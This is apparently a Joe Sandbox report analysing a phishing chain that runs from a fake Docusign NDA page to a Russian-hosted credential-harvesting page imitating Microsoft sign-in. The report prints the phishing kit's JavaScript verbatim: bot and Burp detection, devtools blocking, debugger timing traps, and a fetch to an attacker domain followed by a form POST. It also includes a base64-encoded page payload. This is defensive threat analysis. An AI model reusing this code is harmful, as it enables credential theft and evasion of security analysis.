Excluded IPs from analysis (whitelisted): 142.250.186.163, 142.250.181.238, 173.194.76.84, 142.250.184.206, 172.217.16.206, 142.250.185.78, 20.50.64.6, 2.16.168.114, 2.16.168.101, 142.250.74.202, 142.250.185.74, 216.58.212.170, 142.250.186.42, 142.250.186.74, 216.58.206.42, 142.250.184.202, 142.250.185.138, 142.250.185.202, 142.250.186.106, 142.250.181.234, 142.250.185.234, 216.58.206.74, 142.250.186.170, 216.58.212.138, 142.250.185.170, 2.22.50.131, 2.17.190.73, 142.250.186.46, 216.58.206.46, 172.217.18.110, 172.217.23.110, 142.250.184.238, 40.126.32.134, 40.126.32.136, 20.190.160.20, 40.126.32.138, 20.190.160.17, 40.126.32.140, 40.126.32.68, 20.190.160.14, 13.107.6.156, 40.126.32.74, 40.126.32.133, 40.126.32.76, 20.190.159.23, 20.190.159.75, 20.190.159.71, 40.126.31.67, 40.126.31.71, 40.126.31.73, 20.190.159.68, 20.190.159.64, 172.217.18.106, 172.217.16.202, 142.250.184.234, 20.50.73.11, 20.50.80.213, 142.251.40.163, 142.250.185.142, 40.126.32.72, 20.190.160.22, 184.28.90.27, 20.12.23.50, 13.107.253.45, 13.
Excluded domains from analysis (whitelisted): azurefd-t-fb-prod.trafficmanager.net, slscr.update.microsoft.com, waws-prod-db3-175-0d78.northeurope.cloudapp.azure.com, www.tm.aadcdn.msftauth.trafficmanager.net, www.tm.lg.prod.aadmsa.akadns.net, clientservices.googleapis.com, a1990.dscd.akamai.net, home-office365-com.b-0004.b-msedge.net, ak.privatelink.msidentity.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, login.live.com, update.googleapis.com, onedscolprdneu07.northeurope.cloudapp.azure.com, login.mso.msidentity.com, www.tm.ak.prd.aadg.trafficmanager.net, prdv4a.aadg.msidentity.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, aadcdnoriginwus2.azureedge.net, b-0004.b-msedge.net, www.tm.v4.a.prd.aadg.trafficmanager.net, onedscolprdneu08.northeurope.cloudapp.azure.com, ctldl.windowsupdate.com, aadcdn.msauth.net, firstparty-azurefd-prod.trafficmanager.net, login.msa.msidentity.com, eu.events.data.trafficmanager.net, fe3cr.delivery.mp.micros
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://eventor.orienteering.asn.au/Home/RedirectToLivelox?redirectUrl=https%3A%2F%2Farchive1.diqx8fescpsb0.amplifyapp.com%2Fm1%2Fenvelope%2Fdocument%2Fcontent%2F4086

Input	Output
URL: https://eventor.orienteering.asn.au Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false, "reasoning": "This appears to be a legitimate Australian sports organization domain. The .asn.au TLD is commonly used for Australian associations, and the structure follows standard naming conventions for Australian organizational websites." }
URL: https://eventor.orienteering.asn.au
URL: https://zorx.xemitarnor.ru/U6OnAOL/#Mp8gtut@dwuyn.... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script demonstrates several high-risk behaviors, including detecting the presence of web automation tools, disabling common browser debugging and developer tools, and redirecting the user to a suspicious domain. The combination of these behaviors strongly suggests malicious intent, likely for the purpose of evading detection and potentially carrying out phishing or other malicious activities." }
if (navigator.webdriver \|\| window.callPhantom \|\| window._phantom \|\| navigator.userAgent.includes("Burp")) { window.location = "about:blank"; } document.addEventListener('keydown', function(event) { if (event.keyCode === 123) { event.preventDefault(); return false; } if ( (event.ctrlKey && event.keyCode === 85) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 73) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 67) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 74) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 75) \|\| (event.ctrlKey && event.keyCode === 72) \|\| (event.metaKey && event.altKey && event.keyCode === 73) \|\| (event.metaKey && event.altKey && event.keyCode === 67) \|\| (event.metaKey && event.keyCode === 85) ) { event.preventDefault(); return false; } }); document.addEventListener('contextmenu', function(event) { event.preventDefault(); return false; }); TfUoTmIGPu = false; (function klDLZqFPlw() { let vxhjveDRRt = false; const sxCWzeaJmb = 100; setInterval(function() { const XXsTByJodO = performance.now(); debugger; const VxiQHQFIAn = performance.now(); if (VxiQHQFIAn - XXsTByJodO > sxCWzeaJmb && !vxhjveDRRt) { TfUoTmIGPu = true; vxhjveDRRt = true; window.location.replace('https://login.microsoftonline.com'); } }, 100); })();
URL: https://zorx.xemitarnor.ru/U6OnAOL/#Mp8gtut@dwuyn.... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and suspicious domain interactions. It uses the `fetch` API to send user data to an untrusted domain, and it also attempts to redirect the user to a Microsoft login page, which is likely part of a phishing attempt. The overall behavior of this script is highly suspicious and poses a significant security risk." }
turnstile.render('#cf', { sitekey: '0x4AAAAAAA5J_zo6B27ku3kM', 'error-callback': gcjXCtvlmq, callback: FvTDHVmtwB, }); function gcjXCtvlmq() { turnstile.reset(); } function FvTDHVmtwB() { var tzXIBdwABN = document.getElementById("lDsZybnVPD"); tzXIBdwABN.onsubmit = function (event) { event.preventDefault(); }; document.getElementById("pagelink").value = 'BlWhx'; var HEYNuwKNFU = "../soVf4u9lXg9YgiHYR1j3XFEvz7Q6fk2HO1mo"; fetch('https://Yu0LCifJnaX55JgZY5BWood5ZKSv6vFrDRTWASouQOE4uRASgN9TH.expritraw.ru/jbqJHqVDGtkTNppzzzrWOcAESIPGAYITGGXSAECQNOFGRUOWRCMEYDKYWRMTMDYOCOOFEHAUDXBMBHH', { method: "GET", }).then(response => { return response.text() }).then(text => { if(text == 0){ fetch(HEYNuwKNFU, { method: "POST", body: new FormData(tzXIBdwABN) }).then(response => { return response.json(); }).then(data => { if(data['status'] == 'success'){ if(TfUoTmIGPu == false){ location.reload(); } } if(data['status'] == 'error'){ window.location.replace('https://login.microsoftonline.com'); } }); } if(text != 0){ window.location.replace('https://login.microsoftonline.com'); } }) .catch(error => { window.location.replace('https://login.microsoftonline.com'); }); }
URL: https://zorx.xemitarnor.ru/U6OnAOL/#Mp8gtut@dwuyn.... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The use of `atob()` and `decodeURIComponent()` to decode and execute remote code is a clear indicator of malicious intent. Additionally, the script attempts to prevent common debugging and security measures, such as disabling the context menu and preventing certain keyboard shortcuts. Overall, this script demonstrates a high level of suspiciousness and poses a significant risk to the user's security and privacy." }
if(atob("aHR0cHM6Ly96b3J4LnhlbWl0YXJub3IucnUvVTZPbkFPTC8=") == "nomatch"){ document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbGxlbmdlcy5jbG91ZGZsYXJlLmNvbS90dXJuc3RpbGUvdjAvYXBpLmpzP3JlbmRlcj1leHBsaWNpdCI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2NyeXB0by1qcy80LjEuMS9jcnlwdG8tanMubWluLmpzIj48L3NjcmlwdD4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVkZ2UsY2hyb21lPTEiPg0KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+JiM4MjAzOzwvdGl0bGU+DQogICAgPHN0eWxlPg0KYm9keSB7DQogIGJhY2tncm91bmQtY29sb3I6ICNmZmY7DQogIGhlaWdodDogMTAwJTsNCiAgb3ZlcmZsb3c6IGhpZGRlbjsNCn0NCiNWZmV2U2lrYlhZIGg0e21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOi41cmVtO2ZvbnQtd2VpZ2h0OjUwMDtsaW5lLWhlaWdodDoxLjI7fQ0KI1ZmZXZTaWtiWFkgaDR7Zm9udC1zaXplOmNhbGMoMS4zKTt9DQpAbWVkaWEgKG1pbi13aWR0aDoxMjAwcHgpew0KI1ZmZXZTaWtiWFkgaDR7Zm9udC1zaXplOjEuNXJlbTt9DQp9DQojVmZldlNpa2JYWSBwe21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjFyZW07fQ0KI1ZmZXZTaWtiWFkuY2FwdGNoYS1jb250YWluZXJ7cG9zaXRpb246IHJlbGF0aXZlO3RvcDogMTczcHg7Lyp3aWR0aDogMTAwJTsqL3BhZGRpbmctcmlnaHQ6IHZhcigtLWJzLWd1dHRlci14LCAuNzVyZW0pO3BhZGRpbmctbGVmdDogdmFyKC0tYnMtZ3V0dGVyLXgsIC43NXJlbSk7bWFyZ2luLXJpZ2h0OiBhdXRvO21hcmdpbi1sZWZ0OiBhdXRvO30NCiNWZmV2U2lrYlhZIC50ZXh0LWNlbnRlciB7dGV4dC1hbGlnbjogY2VudGVyIWltcG9ydGFudDt9DQpAbWVkaWEgKG1pbi13aWR0aDo5OTJweCl7DQojVmZldlNpa2JYWSAuY29sLWxnLTR7ZmxleDowIDAgYXV0bzt3aWR0aDozMy4zMzMzMzMzMyU7fQ0KfQ0KI1ZmZXZTaWtiWFkgLmRpc3BsYXktNCB7Zm9udC1zaXplOiAxLjI1cmVtIWltcG9ydGFudDt9DQojVmZldlNpa2JYWSAubXQtMiB7bWFyZ2luLXRvcDogMC41cmVtIWltcG9ydGFudDt9DQojVmZldlNpa2JYWSAuaDQge2ZvbnQtc2l6ZTogY2FsYyguOTAwcmVtICsgLjN2dyk7fQ0KI1ZmZXZTaWtiWFkgLmp1c3RpZnktY29udGVudC1jZW50ZXJ7anVzdGlmeS1jb250ZW50OmNlbnRlciFpbXBvcnRhbnQ7fQ0KI1ZmZXZTaWtiWFkubXQtNXttYXJnaW4tdG9wOjNyZW0haW1wb3J0YW50O30NCiNWZmV2U2lrYlhZIC5tdC00IHttYXJnaW4tdG9wOiAxcmVtIWltcG9ydGFudDt9DQojVmZldlNpa2JYWSAjdnV4RGRXSWlLTyB7Y29sb3I6ICM2Yzc1N2Q7Zm9udC1zaXplOjE0cHg7bWFyZ2luLXRvcDogLjVyZW07fQ0KICAgIDwvc3R5bGU+DQogICAgPHNjcmlwdD4NCiAgICBpZiAobmF2aWdhdG9yLndlYmRyaXZlciB8fCB3aW5kb3cuY2FsbFBoYW50b20gfHwgd2luZG93Ll9waGFudG9tIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5jbHVkZXMoIkJ1cnAiKSkgew0KICAgICAgICB3aW5kb3cubG9jYXRpb24gPSAiYWJvdXQ6YmxhbmsiOw0KfQ0KZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigna2V5ZG93bicsIGZ1bmN0aW9uKGV2ZW50KSB7DQogICAgaWYgKGV2ZW50LmtleUNvZGUgPT09IDEyMykgew0KICAgICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KDQogICAgaWYgKA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5rZXlDb2RlID09PSA4NSkgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzMpIHx8DQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LnNoaWZ0S2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDY3KSB8fA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5zaGlmdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3NCkgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzUpIHx8DQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDcyKSB8fA0KICAgICAgICAoZXZlbnQubWV0YUtleSAmJiBldmVudC5hbHRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzMpIHx8DQogICAgICAgIChldmVudC5tZXRhS2V5ICYmIGV2ZW50LmFsdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA2NykgfHwNCiAgICAgICAgKGV2ZW50Lm1ldGFLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gODUpDQogICAgKSB7DQogICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQp9KTsNCmRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ2NvbnRleHRtZW51JywgZnVuY3Rpb24oZXZlbnQpIHsNCiAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgIHJldHVybiBmYWxzZTsNCn0pOw0KVGZVb1RtSUdQdSA9IGZhbHNlOw0KKGZ1bmN0aW9uIGtsRExacUZQbHcoKSB7DQogICAgbGV0IHZ4aGp2ZURSUnQgPSBmYWxzZTsNCiAgICBjb25zdCBzeENXemVhSm1iID0gMTAwOw0KICAgIHNldEludGVydmFsKGZ1bmN0aW9uKCkgew0KICAgICAgICBjb25zdCBYWHNUQnlKb2RPID0gcGVyZm9ybWFuY2Uubm93KCk7DQogICAg
URL: https://archive1.diqx8fescpsb0.amplifyapp.com/m1/envelope/document/content/4086/ Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Form of Mutual NDA - individual or corp", "prominent_button_name": "Verify your email address", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://archive1.diqx8fescpsb0.amplifyapp.com/m1/envelope/document/content/4086/ Model: Joe Sandbox AI	{ "brands": [ "Docusign" ] }
	{ "brands": [ "Docusign" ] }
URL: https://archive1.diqx8fescpsb0.amplifyapp.com/m1/envelope/document/content/4086/ Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Form of Mutual NDA - individual or corp", "prominent_button_name": "Verify your email address", "text_input_field_labels": [ "p8qtut@dwuyn.io" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://archive1.diqx8fescpsb0.amplifyapp.com/m1/envelope/document/content/4086/ Model: Joe Sandbox AI	{ "brands": [ "Docusign" ] }
	{ "brands": [ "Docusign" ] }
URL: https://archive1.diqx8fescpsb0.amplifyapp.com/m1/envelope/document/content/4086/ Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://zorx.xemitarnor.ru/U6OnAOL/#Mp8gtut@dwuyn.io Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://archive1.diqx8fescpsb0.amplifyapp.com/m1/envelope/document/content/4086/ Model: Joe Sandbox AI	{ "brands": [ "Docusign" ] }
	{ "brands": [ "Docusign" ] }
URL: https://zorx.xemitarnor.ru/U6OnAOL/#Mp8gtut@dwuyn.io Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: https://archive1.diqx8fescpsb0.amplifyapp.com/m1/envelope/document/content/4086/ Model: Joe Sandbox AI	```json{ "legit_domain": "docusign.com", "classification": "wellknown", "reasons": [ "The brand 'Docusign' is well-known and typically associated with the domain 'docusign.com'.", "The URL 'archive1.diqx8fescpsb0.amplifyapp.com' does not match the legitimate domain for Docusign.", "The URL uses a subdomain structure that is not typically associated with Docusign's official services.", "The domain 'amplifyapp.com' is a generic hosting service, which can be used by various users, increasing the risk of phishing.", "The presence of a random string 'diqx8fescpsb0' in the URL is suspicious and not typical for a legitimate Docusign URL." ], "riskscore": 9} Google indexed: False
URL: archive1.diqx8fescpsb0.amplifyapp.com Brands: Docusign Input Fields: p8qtut@dwuyn.io
URL: https://zorx.xemitarnor.ru/U6OnAOL/#Mp8gtut@dwuyn.io Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://zorx.xemitarnor.ru/U6OnAOL/#Mp8gtut@dwuyn.io Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2F Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Sign in", "prominent_button_name": "Next", "text_input_field_labels": [ "f5tz8j@klyjcda.org" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2F Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2F Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "We couldn't find an account with that username. Try another, or get a new Microsoft account.", "prominent_button_name": "Next", "text_input_field_labels": [ "f5tz8j@klyjcda.org" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2F Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1000 x 1290, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	110187
Entropy (8bit):	7.983339107656408
Encrypted:	false
SSDEEP:	3072:QyI/m8zav1R7B2qOcBBtUPU6csJxUKTCIGT8wdP7kVe0u:mu8ev1z2qOcNIU6cs7UKeIpwt7weF
MD5:	CD1E9026418B81F2D6AC4E2BBA519084
SHA1:	0EA2DB9E0A72D018AA5469B2F56A76CFDC76C110
SHA-256:	EB61D711C94F2FEE7C5FD2BE819F40B9D6CCF0AC7ABEBD8A8F8A7F89955C7D37
SHA-512:	2FD9ABC4D1B490754564E4B0257893D216426A227A5E94EB1EC8577FD9E7B9717246056F03DA8E106A964928899E34F5A41A61A2214081D2E0C24B6A1EA9B1E2
Malicious:	false
Reputation:	low
URL:	https://templates.business-in-a-box.com/imgs/1000px/freeware-license-terms-D834.png
Preview:	.PNG........IHDR.............B!.e....pHYs...........8....KPLTE......$$$......---.........................NNNBBB666...iiiwww......\\\....Q:... .IDATx...r.H..a....?.po..,.\..#...UD.. Y...I......................................................................................................................................................................................Y."...).,.$qL.n..`-...-.V...O...[iE.r..q.e+..mK....m.Y..;...Xlu..}.?Yx.....~u.d....p.-.....3...jp.-..6...>...:aH.9..Q....z.U...lV.....p....tRu+....o.0]...y..e5..#.R...........y...].z......u..M...m.\|;&..ha. ....!.......pj9..6..~.>.Z..I.q.....9H..V.)...2OjV!??:.......m....v.x......g..b1.X.6.&..,...Sl.;5..P.....mB.=.....k..Gw~5.....\..w....d\|..P>..y.z>....Mj..N.l..?.....1.Z.}..7.>j..P....}(..G.i..P.u...C.C......1.N....`.n.nu.B_l..}........z>.Va./.8.....VN.......J..%.O.d^.J.ym...\|...\W....i...^:.%Z[....K......%.2O...w.!6..~.Z..n.l.d.K.'_zt9&.....>.z.......~,...\|..xK...w.KN.y...{..}..;v

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	730
Entropy (8bit):	4.609397627946923
Encrypted:	false
SSDEEP:	12:hYky7rPCGfvs2yMXXR08bLo0w3vUREDINyJf4xZ1rMgTettQL:hYkCrP5fvFXXR0s0ItNyJfuegTF
MD5:	BB84D1999249046D42354F1EB71EB8D9
SHA1:	94B39303E0219B0EC3080FD6DCD3610A19292D84
SHA-256:	37B026293B07890618FB58D6B1B766EB8DE60E01D024E920C443A5139BD15F9D
SHA-512:	49EF956711ACB716BF77F6C6494F083D0B78D202D326D24EFC0C63CE64FE51E402258611A334EB3A5AF8FF0A1CEA98DD7B3BF6513A98C52829C2C1C5F30BF823
Malicious:	false
Reputation:	low
URL:	https://pub-53c4ef7e378d42c99976378cc91a92e3.r2.dev/iframe-wrapper.html
Preview:	<!DOCTYPE html>.<html lang="en">.<head>. <meta charset="UTF-8">. <meta name="viewport" content="width=device-width, initial-scale=1.0">. <title>Image Wrapper</title>. <style>. body {. margin: 0;. display: flex;. justify-content: center;. align-items: flex-start; /* Align items at the top /. height: 100vh;. background-color: #f9f9f9;. padding-top: 50px; / Add space at the top */. }. img {. max-width: 100%;. height: auto;. }. </style>.</head>.<body>. <img src="https://templates.business-in-a-box.com/imgs/1000px/freeware-license-terms-D834.png" alt="Terms Image">.</body>.</html>.

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 6 x 37, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	4.068159130770306
Encrypted:	false
SSDEEP:	3:yionv//thPlULGi/oyxl/k4E08up:6v/lhPiKy17Tp
MD5:	378B78807ACE0F2394B601A19041DAEB
SHA1:	BD261641954E8A8C0B913BDBE1B5423348DC711A
SHA-256:	967375AAC4A39E0FCED240B4103C5834FA8EC878C480ABDE3A5402D60CE22DF9
SHA-512:	BB79D0589BCFC97E3DC1A9D203FC4B575D7090DC2BEA84F0CD5142EBD53297652F52896971059906CE61CD0077EDD1048E4ACD59C167B5BC7F9ECDE0FF7C08EF
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/9025c0217ef90f85/1736942901057/9199S0QpC3pAwX6
Preview:	.PNG........IHDR.......%............IDAT.....$.....IEND.B`.

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1547 x 1549, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	22658
Entropy (8bit):	6.025307036257263
Encrypted:	false
SSDEEP:	384:ZJ6fU/QK65OOF/pGgMRPJz6mF8wPEUSZJZZo1k:ZJLQ3DFyZ787USjo1k
MD5:	46806C0A76D512C9F288CFC281014A25
SHA1:	415F8375FCD54B42CE1EAF595246176129A10623
SHA-256:	6E94E824FA297EC921F1C19AC18D1FC91A51699AF955925B4514A40B6CCF2599
SHA-512:	5A4970BE36EAD808B4F1F1BFE20F8B5ED28CDF5236ADAB14D5D21A1E8258CE8CE7B8DDBCB01C53D952D39C4821DD2E84CF0A2F5B90452A783D0CA026FFDEA946
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...............kB....sRGB...,...X<IDATx...........Z.c......Z3..... ..P.Dj.hEf...U.......,..B?..F ..+g[..r...-7m.6..Y...9.......=..x...9./8.'o..^.}..k....:.Z.....O....g'........'..j]uE.j....`>...1..9.g..W..e...N..e........u....`..._@8R...Pux......&.....S.R.P-.......Pu.:P..W{...^....X...>R.Q]....:G.}..o..w.C..\...pZ\|..fuY..0.1.jo.t...=._......0..T.].....y.=..=YM..R. ...)...;....`.{...vUO4....@,..9{C......`.=_MU.....}. ......6U......h..jg...............`..m..F{.......L.k...e........~[m...........W.....^....jk...`.L....!..z..0....x..Zm.......$..0T.G....../T.W.G...`.................F.?..X......W_...8..5......`,.....j{...B.L.@.P..:.......a.v...B.....P...VwVW.].`N\....\|..a...88R...Tm........8i.V{........jc.5.....p.>W....0...................0.+.OT....M.......f.......`....P......0....IqeuG.....X......L.7W{...&..........&.......U.U[.........d.....f.../..............x..U.T...T...X..../....s^uK...S.Y]..b..co]...s...J...\.\-.`..........xm.V?..

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	TrueType Font data, digitally signed, 24 tables, 1st "DSIG", 66 names, Unicode, \251 2006 The Monotype Corporation. All Rights Reserved.ArialRegularAscender - ArialVersion 5.01
Category:	downloaded
Size (bytes):	767752
Entropy (8bit):	6.836794176991346
Encrypted:	false
SSDEEP:	12288:mRJj3rYSxWDc/JKJUhnV+DMxZvsgN/ggazL0M4RUL5bj+hNzGdRsX3KNADalQmg4:mRJjsiWDuJKJ4VmEvsWggEL5tjrqqNAk
MD5:	A6895FAA7A3A5985877A1E4900FAADF2
SHA1:	798C1C6DD563018B12E6E7AD374A94F79CA5E7E3
SHA-256:	D6BF38B8E2E58B331EACD6462464FEB30437CC5C12178626E24E27EC88ECE26C
SHA-512:	F15F3ED7C479D4FE890A861BB4ED5785484D9D13BC36404379FA56BDFC3B815D295E591E13138E14278A969BA87AD5181B9C993BC35A0A1C644F6248F792ADDA
Malicious:	false
Reputation:	low
URL:	https://cdn.hellosign.com/5be974e/build/a6d09f4028ea300af1bd.ttf
Preview:	............DSIG.Y.O...H...pGDEF..I........GPOS.......\|....GSUB.......p...vJSTFmi.........LTSH.kS..7<...9OS/2 U:g.......`PCLT.{>C.......6VDMXP.j...Dx....cmap.../...T..!.cvt .......$...Tfpgm.yY........ngasp............glyf..-....P..".hdmx..%...V...=Hhead..&........6hhea.3.........$hmtx.^.....h..4.kern7a96..%....`loca6.. ...x..4.maxp.L......... name...t..:\|...0postL.....U....Sprep%.M....d............./.:_.<...........'.....0.....g.....................>.N.C.....z...................5.....5...<........./.V...h...................3.......3.....f................*...xC........1ASC.@. .....Q.3.>..@........&..... ...........9...9...9.....^.s...s.I...w.V.X...Z...\|...\|...@...r.9.....A.9...9...s.U.s...s.<.s.V.s...s.U.s.M.s.a.s.S.s.U.9...9.....p...r...p.s.Z...o.V...V.....f.....V.......9.m.....9.....7.V...s...........9.c.V...9.X.....V.\...0.....V.......V...V.....).9...9...9.'...6.s.....Y.s.J.s.....P.s.F.s.K.9...s.B.s.......................s...s.D.s...s.H.......?.9.$.s.................!...(...9....

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47520)
Category:	downloaded
Size (bytes):	47521
Entropy (8bit):	5.3981340461317835
Encrypted:	false
SSDEEP:	768:11CQfmIG2Y8rHnzH5ei80aszzQhpdldr6F/PG2XvE2L79noBL5o6HBU91KL5Gc05:1a/0HnzH5eJdV0lGYv7f96Hjy
MD5:	7C92EC9D1395055CE0405A32607C7291
SHA1:	4EF0060484503E7A3D005254484D5A7FACF42F27
SHA-256:	A0DDAE0FB79C4A4A66D8613157A0703771FA9BE1A75790FCCF5EEEBAA329788B
SHA-512:	D5FAD8CE3B4B3603A6C48676E3F561437034F469875608FF1795505BFA89853A63767E32A1E65BC541DF18C555F93DB42896AA0C1EBD9B162EFC1899FE2D925B
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/turnstile/v0/b/e0c90b6a3ed1/api.js
